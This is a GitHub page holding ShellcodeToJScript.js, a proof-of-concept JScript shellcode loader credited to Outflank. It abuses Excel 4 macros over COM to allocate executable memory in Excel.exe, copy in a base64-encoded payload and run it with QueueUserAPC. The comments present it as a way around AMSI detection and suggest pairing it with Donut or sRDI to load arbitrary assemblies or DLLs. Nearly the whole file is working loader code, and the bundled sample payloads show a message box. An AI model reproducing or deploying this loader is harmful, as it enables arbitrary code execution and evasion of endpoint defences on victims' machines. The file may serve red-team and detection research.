forked from outflanknl/Scripts
- Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathShellcodeToJScript.js
More file actions
Latest commit
123 lines (107 loc) · 6.16 KB
/
Copy pathShellcodeToJScript.js
File metadata and controls
123 lines (107 loc) · 6.16 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
// ShellcodeToJScript
//
// Proof of Concept code for shellcode loading in JScript by abusing Excel 4 macros via COM.
// This serves as an alternative to James Forshaw's DotNetToJScript, which does no longer work
// on newer versions of Windows or gets flagged by AMSI.
//
// Combine this script with shellcode generated by Donut (https://github.com/TheWover/donut)
// in case you want to load .NET assemblies. Or sRDI (https://github.com/monoxgas/sRDI) for
// reflectively loading DLLs.
//
// Author: Stan Hegt (@StanHacked) / Outflank
//
// In order to understand the techniques used in this PoC, read the following blog posts:
// https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/
// https://www.cybereason.com/blog/excel4.0-macros-now-with-twice-the-bits (by @PhilipTsukerman)
functionsetVersion(){
newActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version')='v4.0.30319';
}
functionbase64ToStream(b){
varenc=newActiveXObject("System.Text.ASCIIEncoding");
varlength=enc.GetByteCount_2(b);
varba=enc.GetBytes_4(b);
vartransform=newActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba=transform.TransformFinalBlock(ba,0,length);
varms=newActiveXObject("System.IO.MemoryStream");
ms.Write(ba,0,Math.floor((length/4)*3/4)*4);
ms.Position=0;
returnms;
}
// prevent .NET framework 3.5 installation popups on newer Windows versions
setVersion();
// base64 encoded position independent shellcode payload for 32 bit systems
// This example is a x86 MessageBox shellcode inspired by https://blog.didierstevens.com/programs/shellcode/
varencodedPayload32="6AAAAABbjbMTAQAAVo2zDwEAAFZqAWiIjwMA6BMAAABqAI2DFwEAAFBQagD/kxMBAADDVYnlUVZXi00Mi3UQi30U/zb/dQjoEwAAAIkHg8cEg8YE4uxfXlmJ7F3CEABVieVTVldRZP81MAAAAFiLQAyLSAyLEYtBMGoCi30IV1DoWwAAAIXAdASJ0evni0EYUItYPAHYi1h4WFABw4tLHItTIItbJAHBAcIBw4syWFABxmoB/3UMVugjAAAAhcB0CIPCBIPDAuvjWDHSZosTweICAdEDAVlfXluJ7F3CCABVieVRU1IxyTHbMdKLRQiKEIDKYAHT0eMDRRCKCITJ4O4xwItNDDnLdAFAWltZiexdwgwAGrgGAAAAAABIZWxsbyBmcm9tIGluamVjdGVkIHNoZWxsY29kZSEgIAA=";
// base64 encoded position independent shellcode payload for 64 bit systems
// This example is a x64 MessageBox shellcode inspired by https://blog.didierstevens.com/programs/shellcode/
varencodedPayload64="SIPsSEiD5PBMjUQkKEiNFdoBAABIjQ3GAQAA6GQAAABMi0wkKEyNRCQwSI0VygEAAEiNDakBAADoRwAAAEiNDcMBAAD/VCQoTItMJChMjUQkOEiNFbkBAABIjQ2nAQAA6B8AAABNMclMjQXLAQAASI0VqAEAAEgxyf9UJDhIMcn/VCQwSIHsaAEAAEiJXCQoSIlsJDBIiXwkOEiJdCRATIlkJEhMiWwkUEyJdCRYTIl8JGBlTIscJWAAAABNi1sYTY1bEE2J302LG/xJi3tgSInOrITAdCaKJ4D8YXwDgOwgOMR1CEj/x0j/x+vlTYsbTTn7ddZIMcDpsQAAAEmLWzBEi2M8SQHcSYHEiAAAAEWLLCRNhe11CEgxwOmOAAAATo0cK0WLdCQETQHuQYtLGEWLUyBJAdr/yU2NJIpBizwkSAHfSInWpnUIigaEwHQJ6/Xi5UgxwOtVRYtjJEkB3GZBiwxMRYtjHEkB3EGLBIxMOeh8Nkw58HMxSI00GEiNfCRopIA+LnX6pMcHRExMAE2JxkiNTCRoQf/RTYnwSI1MJGhIifLpCP///0gB2EmJAEiLXCQoSItsJDBIi3wkOEiLdCRATItkJEhMi2wkUEyLdCRYTIt8JGBIgcRoAQAAw0tFUk5FTDMyLkRMTABMb2FkTGlicmFyeUEARXhpdFByb2Nlc3MAVVNFUjMyLkRMTABNZXNzYWdlQm94QQBIaSBmcm9tIGluamVjdGVkIHNoZWxsY29kZSEAU2hlbGxjb2RlVG9KU2NyaXB0IFBvQyAA";
// Instantiate Excel COM object for automation
varobjExcel=newActiveXObject("Excel.Application");
// Determine whether Excel is 32 bits or 64 bits via the COM object's OperatingSystem property
varexcelOS=objExcel.OperatingSystem;
if(excelOS.indexOf("32-bit")>=0){
varis32Bits=true;
varstreamPayload=base64ToStream(encodedPayload32);
varbruteforceAddress=0;
}else{
varis32Bits=false;
varstreamPayload=base64ToStream(encodedPayload64);
varbruteforceAddress=0x50000000;
}
// Allocate memory buffer for payload in Excel.exe (RWX because PoC YOLO)
varmemAddress=0;
if(!is32Bits){
// 64 bit system, brute force a memory address that fits in 32 bit int
while((memAddress==0)&&(bruteforceAddress<0xFFFFFFFF)){
memAddress=objExcel.ExecuteExcel4Macro("CALL(\"Kernel32\",\"VirtualAlloc\",\"JJJJJ\","+bruteforceAddress.toString()+","+streamPayload.length+",12288,64)");
bruteforceAddress+=0x10000;
}
}else{
// 32 bit system, have the system allocate a random block of memory
memAddress=objExcel.ExecuteExcel4Macro("CALL(\"Kernel32\",\"VirtualAlloc\",\"JJJJJ\","+bruteforceAddress.toString()+","+streamPayload.length+",12288,64)");
}
if(memAddress==0){
WScript.Echo("Error allocating memory");
WScript.Quit(1);
}
// Loop for copying payload to allocated buffer
varcurrentAddress=memAddress;// cursor for memory
varcharString;// Excel-escaped byte string to be written in buffer
varcurrentLength=0;// length of current byte string under construction
varcurrentByte=0;// buffer for reading shellcode byte per byte
while(currentByte>=0){
currentByte=streamPayload.ReadByte();
if(currentByte==0){
// Excel fails on CHAR(0), so we skip it since VirtualAlloc initializes with zeroes anyways
if(currentLength>0){
objExcel.ExecuteExcel4Macro("CALL(\"Kernel32\",\"RtlMoveMemory\",\"JJCJ\","+currentAddress.toString()+","+charString+","+currentLength.toString()+")");
}
currentAddress+=currentLength+1;
currentLength=0;
charString="";
continue;
}elseif(currentByte>0){
// Process byte
if(currentLength==0){
// Start new string
charString="CHAR("+currentByte.toString()+")";
}else{
// Append to string
charString+="&CHAR("+currentByte.toString()+")";
}
currentLength++;
}else{
// Write final bytes
objExcel.ExecuteExcel4Macro("CALL(\"Kernel32\",\"RtlMoveMemory\",\"JJCJ\","+currentAddress.toString()+","+charString+","+currentLength.toString()+")");
continue;
}
// Write bytes and reset counter to avoid long strings, on which Excel4 fails
if(currentLength==10){
objExcel.ExecuteExcel4Macro("CALL(\"Kernel32\",\"RtlMoveMemory\",\"JJCJ\","+currentAddress.toString()+","+charString+","+currentLength.toString()+")");
currentAddress+=currentLength;
currentLength=0;
charString="";
}
}
// Kick off payload thread via QueueUserAPC
objExcel.ExecuteExcel4Macro("CALL(\"Kernel32\",\"QueueUserAPC\",\"JJJJ\","+memAddress+", -2, 0)");